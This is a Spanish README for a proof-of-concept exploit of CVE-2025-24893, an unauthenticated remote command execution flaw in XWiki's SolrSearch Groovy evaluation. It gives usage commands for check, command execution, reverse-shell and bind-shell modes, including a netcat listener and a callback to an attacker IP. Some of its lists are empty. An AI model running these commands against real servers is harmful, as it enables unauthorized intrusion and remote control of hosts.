Prueba de concepto para CVE-2025-24893 que demuestra ejecución remota de comandos no autenticada en XWiki mediante evaluación insegura de plantillas del lado del servidor.
Este repositorio contiene una Prueba de Concepto (PoC) controlada para CVE-2025-24893, una vulnerabilidad de Ejecución Remota de Comandos (RCE) sin autenticación que afecta a XWiki.
La vulnerabilidad permite a un atacante ejecutar comandos arbitrarios del sistema operativo en el servidor debido a una evaluación insegura de plantillas y scripts del lado del servidor.
XWiki es una plataforma wiki empresarial de código abierto comúnmente utilizada para:
Debido a que XWiki se despliega con frecuencia en servidores expuestos a Internet, las vulnerabilidades de seguridad en su manejo de peticiones y lógica de scripting pueden tener un alto impacto en el mundo real.
La entrada controlada por el usuario pasada al endpoint SolrSearch era validada incorrectamente y evaluada por el motor de scripting Groovy.
Esto permitió que la entrada proporcionada por el atacante se interpretara como código ejecutable del lado del servidor, resultando en la ejecución de comandos en el sistema anfitrión.
Esta PoC demuestra lo siguiente:
Modo de Detección de Vulnerabilidad Confirma de forma segura si la instancia objetivo es vulnerable mediante la ejecución de una expresión benigna del lado del servidor.
Ejecución Remota de Comandos Demostración de ejecución de comandos arbitrarios en el sistema objetivo.
Ejecución de Shell Inversa Establece una conexión de shell saliente desde el objetivo hacia el evaluador.
Shell Vinculante (Opcional) Abre un shell de escucha en el sistema objetivo (menos fiable que las shells inversas).
python3 xwiki_cve_2025_24893.py http://target:8080 -m check
nc -lvnp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m reverse -lh <attacker_ip> -lp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m bind -lp 4444
SolrSearchEste proyecto se proporciona estrictamente con fines educativos y para pruebas de seguridad autorizadas.
Se prohíbe cualquier uso no autorizado de este código contra sistemas sin permiso explícito.
Este repositorio fue creado para demostrar: